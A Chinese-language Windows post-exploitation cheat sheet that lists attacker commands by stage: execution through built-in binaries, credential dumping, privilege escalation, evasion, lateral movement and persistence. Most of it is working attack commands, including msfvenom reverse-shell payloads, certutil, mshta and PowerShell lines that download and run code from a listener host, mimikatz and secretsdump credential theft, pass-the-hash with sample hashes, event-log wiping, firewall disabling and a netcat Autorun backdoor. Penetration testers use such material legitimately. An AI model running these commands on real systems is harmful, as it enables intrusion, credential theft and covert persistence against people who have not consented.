Cheat Sheets

A-Z整理了AD安全中各个环节用到的命令：

Active Directory Exploitation Cheat Sheet

Top Powershell Tools:

Tools Cheat Sheets - Tools (PowerView, PowerUp, Empire, and PowerSploit)

PowerView-2.0 tips and tricks

PowerView-3.0 tips and tricks

Kerberos：

Kerberos Attacks Cheat Sheet

Kerberos cheatsheet

Bloudhound中常用Log4J命令：

BloodhoundAD-Queries

Bloodhound Cypher Cheatsheet

DogWhisperer - BloodHound Cypher Cheat Sheet (v2)

执行

为了绕过检测，可以使用很多Windows自带程序来执行后门，不同Windows自带程序对应payload类型不同，启动payload的参数也不同。可以借助以下工具简化操作。

GreatSCT

GreatSct – An Application Whitelist Bypass Tool

Windows后渗透Cheatsheet - 图2

cmstp.exe

cmstp.exe /s shell.inf

rundl32.exe

  1. use exploit/windows/smb/smb_delivery
  2. msf exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.109
  3. msf exploit(windows/smb/smb_delivery) > exploit
  5. rundll32.exe \\192.168.1.107\ZtmW\test.dll,0

regsvr32

注册、卸载dll

  1. # MSF
  2. 1. 
  3. use exploit/multi/script/web_delivery
  4. msf exploit (web_delivery)>set target 3
  5. msf exploit (web_delivery)> set payload windows/meterpreter/reverse_tcp
  6. msf exploit (web_delivery)> set lhost 192.168.1.109
  7. msf exploit (web_delivery)>set srvhost 192.168.1.109
  8. msf exploit (web_delivery)>exploit
  10. 2. 
  11. use exploit/windows/misc/regsvr32_applocker_bypass_server
  13. regsvr32 /s /n /u /i:http://192.168.1.109:8080/xo31Jt5dIF.sct scrobj.dll
  15. # Empire
  16. usestager windows/launcher_sct
  17. set Listener http
  18. execute
  20. regsvr32.exe /u /n /s /i:http//192.168.1.107:8080/launcher.sct scrobj.dll

msbuild

  1. 获取https://raw.githubusercontent.com/3gstudent/msbuild-inline-task/master/executes%20shellcode.xml，保存为.csproj或 .xml文件
  2. 替换MSF生成的shellcode, msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f csharp  
  3. C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe file.csproj
  6. # Empire
  7. usestager windows/launcher_xml
  8. set Listener http
  9. execute
  11. cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\
  12. MSBuild.exe launcher.xml

mshta

.hta的默认打开文件，双击即可执行 
  1. # MSF
  2. use exploit/windows/misc/hta_server
  3. msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
  4. msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109
  5. msf exploit(windows/misc/hta_server) > exploit
  6. mshta.exe http://192.168.1.109:8080/5EEiDSd70ET0k.hta
  8. # Empire
  9. usestager windows/hta
  10. set Listener http
  11. set OutFile /root/1.hta
  12. execute
  14. python -m SimpleHTTPServer 8080
  16. mshta.exe http://192.168.1.107:8080/1.hta

wmic

wmic的format参数用于格式化显示的内容，可以传入XSL script (eXtensible Stylesheet Language) 
  1. # Empire
  2. 生成.xsl并监听
  3. usestager windows/launcher_xsl
  4. set Listener http
  5. execute
  7. 执行
  8. wmic process get brief /format:"http://192.168.1.107:8080/launcher.xsl"

msiexec

安装windows安装包程序 
  1. # MSF
  2. msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 –f msi > shell.msi
  3. msiexec /q /i http://192.168.1.109/1.msi
  4. use exploit/multi/handler
  5. msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
  6. msf exploit(multi/handler) > set lhost 192.168.1.109
  7. msf exploit(multi/handler) > set lport 1234
  8. msf exploit(multi/handler) > exploit

certutil

  1. msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f exe > shell.exe
  2. certutil.exe -urlcache -split -f http://192.168.1.109/shell.exe shell.exe & shell.exe
  3. use exploit/multi/handler
  4. msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
  5. msf exploit(multi/handler) > set lhost 192.168.1.109
  6. msf exploit(multi/handler) > set lport 1234
  7. msf exploit(multi/handler) > exploit

vbs

  1. # Empire
  2. usestager windows/launcher_vbs
  3. set Listener http
  4. execute
  6. # MSF
  7. msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.109 lport=1234 -f vbs > 1.vbs
  8. powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://192.168.1.109/1.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""
  9. use exploit/multi/handler
  10. msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
  11. msf exploit(multi/handler) > set lhost 192.168.1.109
  12. msf exploit(multi/handler) > set lport 1234
  13. msf exploit(multi/handler) > exploit

bat

  1. # Empire
  2. usestager windows/launcher_bat
  3. use Listener http
  4. set OutFile /root/1.bat
  5. execute
  7. # MSF
  8. msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.109 lport=4444 > 1.bat
  9. powershell -c "IEX((New-Object System.Net.WebClient).DownloadString('http://192.168.1.109/1.bat'))

powershell

  1. # Empire
  2. usestager multi/launcher
  3. set Listener http
  4. execute

office DDE

  1. # MSF
  2. exploit/windows/fileformat/office_dde_delivery

凭据访问

伪造&Phishing

LSA&SAM&AD

DCSync

  1. # mimikatz
  2. lsadump::dcsync /domain:ignite.local /user:krbtgt
  3. lsadump::dcsync /domain:ignite.local /all /csv
  5. # Empire
  6. usemodule credentials/mimikatz/dcsync
  7. set user krbtgt
  8. execute
  10. usemodule credentials/mimikatz/dcsync_hashdump
  11. execute
  13. # MSF
  14. kiwi cmd 
  15. 不太好用，居然要先检查system权限，个人认为不合理

SAM

  1. # mimikatz
  3. ## 本地访问registry
  4. privilege::debug
  5. token::elevate
  6. lsadump::sam
  8. ## 与LSA进程交互, 向LSA Service请求SAM或AD数据
  9. 在域控机器上执行，dump的是域内所有账户、域控机器本地账户Hash；在非域控机器上执行，dump的是本地账户Hash。
  11. privilege::debug
  12. lsadump::lsa /patch 
  14. privilege::debug
  15. lsadump::lsa /inject
  17. # msf
  18. use post/windows/gather/hashdump - 本地访问registry
  19. use post/windows/gather/credential/credential_collector - 本地访问registry
  21. # Empire
  22. usemodule credentials/mimikatz/sam - 本地访问registry
  23. usemodule credentials/mimikatz/lsadump - lsa /inject /patch
  25. # crackmapexec
  26. crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --sam          - DCERPC远程访问注册表
  28. # impacket
  29. ./secretsdump.py -sam /root/Desktop/sam -system /root/Desktop/system LOCAL   - 离线dump

SSP

SSP

实现、注册一个SSP，以获取凭据 
  1. # mimilib
  2. reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
  3. reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ /f
  4. reboots their PC
  5. type C:\Windows\System32\kiwissp.log
  7. # memssp
  8. privilege::debug
  9. misc::memssp
  10. lock the pc and relogin
  11. type C:\Windows\System32\mimilsa.log
  13. ## empire
  14. usemodule persistence/misc/memssp
  15. usemodule management/lock

wdigest

WDigest SSP会将密码以明文形式保存在LSA内存中；自Win10和Win server 2012R2后，WDigest SSP默认disabled，可通过修改注册表启用WDigest。 
  1. # 启用WDigest
  2. ## shell
  3. reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
  5. ## msf
  6. use post/windows/manage/wdigest_caching
  9. load powershell
  10. powershell_import /root/Desktop/Invoke-WdigestDowngrade.ps1
  11. powershell_execute Invoke-WdigestDowngrade
  13. ## empire
  14. usemodule management/wdigest_downgrade
  16. ## crackmapexec
  17. crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M wdigest -o ACTION=enable
  20. # 获取凭据
  21. ## mimikatz
  22. privilege::debug
  23. sekrusla::wdigest
  25. ## empire
  26. usemodule credentials/mimikatz/command
  27. set Command sekurlsa::wdigest

获取lsa dump后离线获取凭据

  1. # 获取lsa dump
  2. ## procdump.exe
  3. procdump.exe -accepteula -ma lsass.exe mem.dmp
  5. ## comsvcs.dll
  6. Get-Process lsass 
  7. .\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 492 C:\mem.dmp full
  9. # 分析LSA dump
  10. ## mimikatz
  11. privilege::debug
  12. sekurlsa::minidump C:\Users\raj\Downloads\Procdump\mem.dmp
  13. sekurlsa::logonpasswords

远程dump一把梭

上述各种方法的组合 
  1. # crackmapexec
  2. crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --ntds drsuapi
  4. # msf
  5. use auxiliary/scanner/smb/impacket/secretsdump
  6. set rhosts 192.168.1.108
  7. set smbuser administrator
  8. set smbpass Ignite@987
  9. exploit
  11. # impacket
  12. python secretsdump.py ring2.com/win10:Test1234@ringdc-pc.ring2.com

应用凭据

  1. # Empire: PuTTY, WinSCP, RDP等各种不同应用
  2. usemodule credentials/sessiongopher
  3. execute
  5. # lazagne
  6. lazagne.exe all
  8. # msf 
  9. post/windows/gather/credentials/*
  10. post/multi/gather/ 下也有一些
  11. post/windows/gather/enum_putty_saved_sessions

Windows Autologon Password

Automatically Login to Windows without Password

Autologon v3.10

之前autlogon配置后，明文密码直接存储在计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon下，现在密码是以LSA Secret形式存储在security注册表中的，需要再解密。 
  1. # MSF(只能获取明文密码)
  2. post/windows/gather/credentials/windows_autologin 
  4. # Nirsoft-Network Password Recovery
  5. https://www.nirsoft.net/utils/network_password_recovery.html
  7. # DecryptAutologon.exe
  8. https://github.com/securesean/DecryptAutoLogon/blob/main/DecryptAutoLogon/bin/Release/DecryptAutoLogon.exe
  10. # mimikatz
  11. privilege::debug
  12. token::elevate
  13. lsadump::secrets

LSA Secret

  1. # mimikatz
  2. privilege::debug
  3. token::elevate
  4. lsadump::secrets
  7. reg save HKLM\SYSTEM system
  8. reg save HKLM\security security
  9. privilege::debug
  10. lsadump::secrets /system:c:\system /security:c:\security
  12. # msf
  13. load kiwi
  14. lsa_dump_secrets

Windows Credential Manager

  1. # CredentialsFileView，GUI工具
  3. # lazagne.exe
  4. lazagne.exe all
  6. # nishang
  7. load powershell
  8. powershell_import /root/Get-WebCredentials.ps1
  9. powershell_execute Get-WebCredentials
  11. # mimikatz
  12. vault::cred
  13. sekurlsa::credman
此外，使用cmdkey /list可列出存储的用户名，再使用runas /savecred /user:WORKGROUP\Administrator “C:\Users\ignite\Downloads\shell.exe”可以该用户身份启动程序。

Windows后渗透Cheatsheet - 图3

RDP(aka Terminal Services Client)

  1. 从正在运行的远程桌面程序mstsc.exe进程中提取凭据 
  1. # mimikatz
  2. privielge::debug
  3. ts::mstsc
  1. 中间人攻击

https://github.com/SySS-Research/Seth，用户在不知情的情况下输入正确凭据

./seth.sh []

GPP(Group Policy Preferences)

组策略文件位置：\\SYSVOL<DOMAIN>\Policies\ 当创建一个GPP新建账户或修改账户密码，密码会以AES256加密存储在组策略文件中，微软公开了加密密钥，因此域内任意主机都可访问和解密。 patch修复方式：密码输入框禁用 
  1. # msf
  2. use auxiliary/scanner/smb/smb_enum_gpp
  3. 或
  4. use post/windows/gather/credentials/gpp
  6. # Empire
  7. usemodule privesc/gpp
  9. # powershell
  10. Import-Module .\Get-GPPPassword.ps1
  11. Get-GPPPassword

LAPS(Local Administrator Password Solution)

https://www.hackingarticles.in/credential-dumpinglaps/

在DC上安装LAPS管理加入域环境机器的本地管理员账户，从而缓解PtH。它定期为机器设置随机管理员密码，通过组策略更新到域内各机器；密码存储在Computer对象的ms-Mcs-AdmPwd属性中，只有授权用户才可读。 
  1. # msf
  2. use post/windows/gather/credentials/enum_laps
  3. post(windows/gather/credentials/enum_laps) > set session 2
  4. post(windows/gather/credentials/enum_laps) > exploit
  6. # empire
  7. usemodule credential/get_lapspasswords
  9. # crackmapexec
  10. crackmapexec ldap 192.168.1.172 -u administrator -p ‘Ignite@123’ –kdcHost 192.168.1.172 -M laps
  12. # windows binary
  13. SharpLAPS.exe /user:IGNITE\Administrator /pass:Ignite@123 /host:192.168.1.172
  15. # powershell
  16. Get-LAPSPasswords -DomainController 192.168.1.172 -Credential IGNITE\Administrator | Format-Table -AutoSize

Wifi 凭据

wifi凭据被加密存储在C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces下，使用了Windows 加解密数据接口：DPAPI，只要获得MasterKey即可解密。 
  1. # netsh
  2. netsh wlan show profiles
  3. netsh wlan show profile name={SID Name} key=clear
  5. # lazagne
  6. lazagne.exe wifi
  8. # msf
  9. ## kiwi module
  10. getsystem
  11. load kiwi
  12. wifi_list_shared
  14. ## post module
  15. use post/windows/wlan/wlan_profile
  16. set session 1
  17. exploit

Domain Cache credential(DCC)

aka MSCACHE, MSCASH 当DC连接不上，之前登录成功的域账户仍可以登录本机，这是因为Windows会存储登录信息。
  • 密码以MSCACHE hash的形式保存在注册表HKLM\SECURITY\Cache*中
  • 此hash不能用于哈希传递，可获取后通过爆破解密获取明文密码
  • 此算法有两个版本，Vista & Server 2003后是DCC2 
  1. # mimikatz
  2. privilege::debug
  3. token::elevate
  4. lsadump::cache
  6. # msf
  7. use post/windows/gather/cachedump
  8. set session 2
  9. exploit
  11. # impacket
  12. python secretsdump.py -security security -system system LOCAL
  14. # Empire
  15. usemodule credentails/mimikatz/cache
  16. set agent <agent_id>
  17. execute
  20. # 破解
  21. john --format=mscasch2 --wordlist=/usr/share/wordlists/rockyou.txt mhash

NetRipper

Windows后渗透Cheatsheet - 图4

在后渗透阶段，将DLL反射注入进程，如PuTTY, WinSCP, Lync, Outlook, Google Chrome, Mozilla Firefox，Hook特定API获取明文凭据。可单独执行也可集成在MSF中，Empire中有对应的PS版本Invoke-NetRipper.ps1。

Windows后渗透Cheatsheet - 图5

提权

扫描工具

WinPEAS.exe

Windows后渗透Cheatsheet - 图6

主要做各种信息的收集，系统、用户、服务、密码策略、可疑文件等安全性检查 
  1. # Empire
  2. usemodule privesc/WinPEAS

Seat Belt.exe

主要做各种信息的收集，系统、用户、服务、密码策略、可疑文件等安全性检查

Windows后渗透Cheatsheet - 图7

Privesccheck.ps1

This script aims to enumerate common Windows configuration issues that can be leveraged for local privilege escalation. It also gathers various information that might be useful for exploitation and/or post-exploitation.

Windows后渗透Cheatsheet - 图8

  1. # Empire
  2. usemodule privesc/privesccheck

PowerUp.ps1/Invoke-AllChecks

扫描服务配置错误这一类提权手法 
  1. # Powershell
  2. powershell
  3. powershell -ep bypass
  4. Import-Module .\PowerUp.ps1
  5. Invoke-AllChecks
  7. # Empire
  8. usemodule privesc/powerup/allchecks

MSF-local_exploit_suggester

  1. # MSF
  2. use post/multi/recon/local_exploit_suggester

Windows Exploit Suggester – Next Generation

根据系统信息匹配漏洞 WES-NG is a tool based on the output of Windows’ systeminfo utility which provides the list of vulnerabilities the OS is vulnerable to, including any exploits for these vulnerabilities.

Windows后渗透Cheatsheet - 图9

  1. git clone https://github.com/bitsadmin/wesng
  2. cd wesng
  3. python wes.py /root/systeminfo.txt

Watson

Enumerate missing KBs and suggest exploits for useful Privilege Escalation vulnerabilities

Windows后渗透Cheatsheet - 图10

  1. # Empire
  2. usemodule privesc/watson

Bypass UAC

  1. msf > use exploit/windows/local/bypassuac
  2. msf > use exploit/windows/local/bypassuac_injection
  3. msf > use exploit/windows/local/bypassuac_comhijack

白名单+注册表劫持

原理：有一些系统程序是会直接获取管理员权限同时不弹出UAC弹窗，这类程序被称为白名单程序。白名单程序的manifest文件中autoElevate属性值为True，会在启动时就静默提升权限。
  1. fodhelper.exe
HKCU\Software\Classes\ms-settings\shell\open\command 
  1. # MSF
  2. exploit/windows/local/bypassuac_fodhelper
  1. eventvwr.exe
HKCU\Software\Classes\mscfile\shell\open\command 
  1. # MSF
  2. exploit/windows/local/bypassuac_eventvwr

漏洞

CVE-2017-0213

服务或计划任务配置错误

原理：找配置错误，以system account启动的，startmode为Auto的服务

Unquoted Service Path

Windows Privilege Escalation: Unquoted Service Path

假如路径配置为：C:\Program Files\Some Folder\Service.exe，当存在C:\Program.exe时，就停止查询而不会继续找Service.exe 
  1. # MSF
  2. ## exploit/windows/local/unquoted_service_path
  3. 此外，木马进程不与service manager通信，service manager认为启动失败，可能会杀死木马进程。可使用以下2种进程迁移方法以持久化：
  4. 1. set AutoRunScript migrate -N explorer.exe
  5. 2. set PrependMigrate true
  6.    set PrependMigrateProc explorer.exe

Weak Services Permissions

Windows Privilege Escalation: Weak Services Permission

  1. 服务对应binary文件可写
  2. 服务配置可更改，即可执行sc config，从而修改服务对应binary：sc config pentest binPath= “C:\Users\Public\shell.exe” 
  1. # MSF
  2. exploit/windows/local/service_permissions

Weak Registry Permissions

Windows Privilege Escalation: Weak Registry Permission

HKLM\system\currentcontrolset\services下服务对应的注册表项可修改

Msiexec+AlwaysInstallElevated

Windows Privilege Escalation (AlwaysInstallElevated)

设置组策略(管理模板/Windows组件/Windows Installer/始终以提升权限安装)可始终以提升权限安装windows installer程序(.msi)。设置好组策略后，再执行msiexec /quiet /qn /i xxx.msi安装.msi程序，即可以高权限启动.msi程序。

HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

Windows后渗透Cheatsheet - 图11

HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer

Windows后渗透Cheatsheet - 图12

  1. # MSF
  2. exploit/windows/local/always_install_elevated

防御逃逸

注入PE

注入进程

删除event log

  1. # wevtutil
  2. wevtutil el                        显示日志
  3. wevtutil cl security    删除日志
  5. # wmic
  6. wmic nteventlog where filename='system' call cleareventlog
  8. # powershell
  9. Clear-Eventlog -LogName Security
  10. Clear-Eventlog -LogName System
  12. # registry
  13. reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\MiniNt"
  14. This key disables the event viewer and thus restricts it from generating the logs.
  16. # Phant0m
  17. .\Invoke-Phant0m.ps1    
  18. 遍历 Event Log Service process(svchost.exe)中的线程，杀掉日志记录线程
  20. # mimikazt
  21. privilege::debug
  22. event::clear
  24. # msf meterpreter
  25. clearev

关闭防火墙

netsh firewall set opmode mode=disable

Hide Artifacts

  1. # Hiding Files and Directories
  2. attrib +h +s +r ignite
  3. attrib -s -h -r ignite
  6. # Hiding Users
  7. net user ignite /active:no
  9. 也可以通过注册表设置
  10. key: HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\SpecialAccounts\UserList
  11. data: ignite
  12. value: 1
  14. net user ignite /active:yes
  16. # Hiding File Systems
  17. > diskpart
  18. > list volume
  19. > select volume 3
  20. > remove letter e
  22. > assign letter e
  24. 也可以通过注册表设置
  25. key: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
  26. data: NoDrives
  27. value: 盘符的Ascill码

ADS 备用数据流

  1. echo Welcome to ignite Technologies > jeenali.txt
  2. echo Join Our Training Programs > jeenali.txt:hidden
  3. dir /r
  4. notepad .\jeenali.txt:hidden
  7. Set-Content .\raj.txt -stream text
  8. Get-Content .\raj.txt -stream text
  9. Get-Item -path .\raj.txt -stream *
  11. 除了追加文本内容，也可以追加图片，.mp3等
  12. type panda.jpg > jeeni.txt:panda.jpg
  13. type ignite.mp3 > jeeni.txt:ignite.mp3

Applocker Bypass

Windows Applocker Policy – A Beginner’s Guide

Application Control Policies可对EXE，DLL，安装程序，脚本等设置Allow/Deny规则，不过只能基于Publisher，path和File Hash，功能还是挺弱的。可通过组策略设置后，更新的域类机器上。
  1. 绕过“不允许EXE执行”

Windows后渗透Cheatsheet - 图13

尽管设置了这个策略，但仍有目录可读写，其中的EXE可执行。这里用到了c:/Windows/Tasks目录

横向移动

Pass the ticket

Golden ticket

  1. # mimikatz
  3. ## 生成黄金票据
  4. privilege::debug
  5. kerberos::golden /user:pavan /domain:ignite.local /sid:S-1-5-21-3523557010-2506964455-2614950430 /krbtgt:f3bc61e97fb14d18c42bcbf6c3a9055f /id:500 /ptt
  6. msic::cmd
  8. ## 导出导入票据
  9. kerberos::list
  10. kerberos::list /export
  11. kerberos::ptt ticket.kirbi
  12. misc::cmd

Pass the Hash

https://www.hackingarticles.in/lateral-movement-pass-the-hash-attack/

  1. # mimikatz
  2. privilege::debug
  3. sekurlsa::pth /user:Administrator /domain:ignite.local /ntlm:32196B56FFE6F45E294117B91A83BF38

ptH Over SMB

  1. ## msf
  2. use auxiliary/scanner/smb/smb_login
  4. ## Empire
  5. usemodule lateral_movement/invoke_smbexec
  6. set ComputerName WIN-S0V7KMTVLD2.ignite.local
  7. set Username Administrator
  8. set Hash 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38
  9. set Listener http
  10. execute
  12. ## impacket
  13. python smbclient.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 ignite/Administrator@192.168.1.105
  15. python atexec.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 Administrator@192.168.1.105 whoami
  16. 调用远程机器的Task Scheduler Service执行命令
  18. ## PTH Toolkit
  19. pth-smbclient -U ignite/Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105/c$
  21. ## crackmapexec
  22. crackmapexec smb 192.168.1.105 -u Administrator -H 32196B56FFE6F45E294117B91A83BF38 -x ipconfig

ptH Over PsExec

  1. ## MSF
  2. use exploit/windows/smb/psexec
  3. set rhosts 192.168.1.105
  4. set smbuser administrator
  5. set smbdomain ignite
  6. set smbpass 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38
  7. exploit
  9. use admin/smb/psexec_command
  10. set rhosts 192.168.1.105
  11. set smbdomain ignite
  12. set smbuser administrator
  13. set smbpass 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38
  14. set command net user
  15. run
  17. ## impacket
  18. python psexec.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 Administrator@192.168.1.105
  20. ## PsExec.exe
  21. PsExec.exe\\192.168.1.104 -u administrator -p Ignite@123 cmd

PtH Over WMI

  1. ## impacket 
  2. python wmiexec.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 Administrator@192.168.1.105
  4. ## Invoke-WMIExec
  5. Invoke-WMIExec -Target 192.168.1.105 -Domain ignite -Username Administrator -Hash 32196B56FFE6F45E294117B91A83BF38 -Command "cmd /c mkdir c:\hacked" -Verbose
  7. ## PTH Toolkit
  8. pth-wmic -U ignite/Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105 "select Name from Win32_UserAccount"
  10. ## wmiexec.exe
  11. wmiexec.exe -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 ignite/Administrator@192.168.1.105
  13. ## msf
  14. msf > use auxiliary/scanner/smb/impacket/wmiexec
  15. msf auxiliary(scanner/smb/impacket/wmiexec) > set rhosts 192.168.1.104
  16. msf auxiliary(scanner/smb/impacket/wmiexec) > set smbuser administrator
  17. msf auxiliary(scanner/smb/impacket/wmiexec) > set smbpass Ignite@123
  18. msf auxiliary(scanner/smb/impacket/wmiexec) > set COMMAND systeminfo
  19. msf auxiliary(scanner/smb/impacket/wmiexec) > exploit

PtH Over RPC

  1. ## impacket
  2. python rpcdump.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 ignite/Administrator@192.168.1.105
  4. ## PTH Toolkit
  5. pth-rpcclient -U ignite/Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105
  6. pth-net rpc share list -U 'ignite\Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38' -S 192.168.1.105

Others

  1. # PTH Toolkit
  2. pth-winexe -U Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105 cmd.exe
  3. pth-curl --ntlm -u Administrator:32196B56FFE6F45E294117B91A83BF38 http://192.168.1.105/file.txt
  5. # impacket
  6. python lookupsid.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 ignite/Administrator@192.168.1.105
  7. 遍历本地账户和域内所有账户
  9. python samrdump.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 ignite/Administrator@192.168.1.105
  10. 调用远程机器的Security Account Manager，获取SAM DB中信息

Over Pass the Hash

https://blog.gentilkiwi.com/securite/mimikatz/overpass-the-hash

aka Pass the key, 我的理解是Over Pass the Hash是Kerberos协议下的Pass the Hash。此外，最初Kerberos认证是NT Hash(RC4_HMAC-MD5)来加密timestamp，后来有了更安全的AES128-CTS-HMAC-SHA1-96 和AES256-CTS-HMAC-SHA1-96 ；如果有aes128_hmac或aes256_hmac，也能实现Over Pass the Hash。 这些Key存储在Kerberos provider内存中，可使用mimikatz获取。 
  1. # mimikatz
  2. privilege::debug
  3. sekurlsa::ekeys

Windows后渗透Cheatsheet - 图14

  1. # mimikatz
  2. sekurlsa::pth /user:Administrator /domain:igntie.local /ntlm:a29f7623fd11550def0192de9246f46b
  3. sekurlsa::pth /user:Administrator /domain:ignite.local /aes128:b5c9a38d8629e87f5da0a0ff2c67f84c
  4. sekurlsa::pth /user:Administrator /domain:ignite.local /aes256:9c83452b5dcdca4b0bae7e89407c700bed3153c31dca06a8d7be29d98e13764c
  5. sekurlsa::pth /user:Administrator /domain:igntie.local /ntlm:a29f7623fd11550def0192de9246f46b /aes128:b5c9a38d8629e87f5da0a0ff2c67f84c /aes256:9c83452b5dcdca4b0bae7e89407c700bed3153c31dca06a8d7be29d98e13764c
  7. # Rubeus.exe
  8. Rubeus.exe asktgt /domain:igntie.local /user:Administrator /rc4: 32196b56ffe6f45e294117b91a83bf38 /ptt
  9. dir \\WIN-S0V7KMTVLD2\c$

Windows后渗透Cheatsheet - 图15

Pass the ccache

我的理解是，这是pass获取到的TGT 
  1. # 获取TGT
  2. ## impacket
  3. python getTGT.py -dc-ip 192.168.1.105 -hashes :32196b56ffe6f45e294117b91a83bf38 ignite.local/Administrator
  6. # Pass the ccache
  7. ## mimikatz
  8. kerberos::ptc Administrator.ccache
  9. misc::cmd
  11. ## impacket
  12. export KRB5CCNAME=Administrator.ccache; psexec.py -dc-ip 192.168.1.105 -target-ip 192.168.1.105 -no-pass -k ignite.local/Administrator@WIN-S0V7KMTVLD2.ignite.local

WMI

  1. # 远程拷贝执行.msi程序
  2. msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.112 lport=443 -f MSI > raj.msi
  3. net use \\192.168.1.105\c$ /user:administrator@ignite.local; 
  4. copy C:\raj.msi \\192.168.1.105\c$\PerfLogs\setup.msi ; 
  5. ## wmic
  6. wmic /node:192.168.1.105 /user:administrator@ignite.local product call install PackageLocation=c:\PerfLogs\setup.msi
  7. ## powershell Invoke-WmiMethod
  8. $username = 'Administrator';$password = 'Ignite@987';$securePassword = ConvertTo-SecureString $password -AsPlainText -Force; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword; Invoke-WmiMethod -Path win32_product -name install -argumentlist @($true,"","c:\PerfLogs\setup.msi") -ComputerName WIN-S0V7KMTVLD2.ignite.local -Credential $credential

漏洞

RDP

CVE-2019-0708

又称bluekeep, 针对Windows Server 2008和Windows 7 
  1. # msf
  2. use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
  3. set rhosts 192.168.1.16
  4. exploit
  6. use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
  7. set rhosts 192.168.1.16
  8. set target 5
  9. exploit
  10. sysinfo

持久化

服务

  1. # MSF
  2. exploit/windows/local/persistence_service - 创建service

计划任务

  1. # Empire
  2. usemodule persistence/elevated/schtasks*
  3. set OnLogon True
  4. set Listener http
  5. execute

WMI订阅

  1. # Empire
  2. usemodule persistence/elevated/wmi*
  3. set Listener http
  4. set AtStartup True
  5. execute

Autorun

exe

  1. # MSF
  3. ## 1. 上传exe+设置Autorun
  4. post/windows/manage/persistence_exe 
  6. ## 2. 上传ncat+设置Autorun，相当于用ncat版bind_tcp
  7. * msfsession
  8. upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32
  9. reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v netcat -d 'C:\windows\system32\nc.exe -Ldp 4445 -e cmd.exe'
  10. netsh advfirewall firewall add rule name='netcat' dir=in action=allow protocol=Tcp localport=4445
  11. netsh firewall show portopening
  13. * server
  14. nc -nv 192.168.0.142 4445

powershell

  1. # MSF
  2. exploit/windows/local/registry_persistence - 设置Autorun执行powershell
  4. # Empire
  5. usemodule persistence/elevated/registry*
  6. set Listener http
  7. execute

Accessibility features + Image File Execution Options + RDP

https://www.hackingarticles.in/windows-persistence-accessibility-features/

某些易用性程序，如 sethc.exe, Utilman.exe，osk.exe在用户未登录桌面时按快捷键就可以执行；而注册表项Image File Execution Options可设置sethc.exe对应的调试器为payload.exe; 再结合RDP，达到持久化目的 
  1. # MSF
  2. use post/windows/mange/enable_rdp
  3. set username pavan
  4. set password 123
  5. set session 1
  6. exploit
  8. use post/windows/manage/sticky_keys
  9. set session 1
  10. exploit
  12. # Empire
  13. usemodule persistence/misc/debugger
  14. usemodule management/enable_rdp

Port Monitor Dll

Windows Persistence: Port Monitors

通过注册表添加port monitor，当系统启动时print spooler service会加载port monitor dll，达到持久化和提升至系统权限的目的 
  1. # MSF
  2. reg add "hklm\system\currentcontrolset\control\print\monitors\ignite" /v "Driver" /d "raj.dll" /t REG_SZ

Netsh Helper Dll

Windows Persistence using Netsh

Netsh是Windows自带工具，用于显示和修改网络配置；它支持注册Helper Dll来扩展其功能，再加上设置netsh为Autorun，可完成持久化 
  1. # MSF
  2. netsh add helper raj.dll
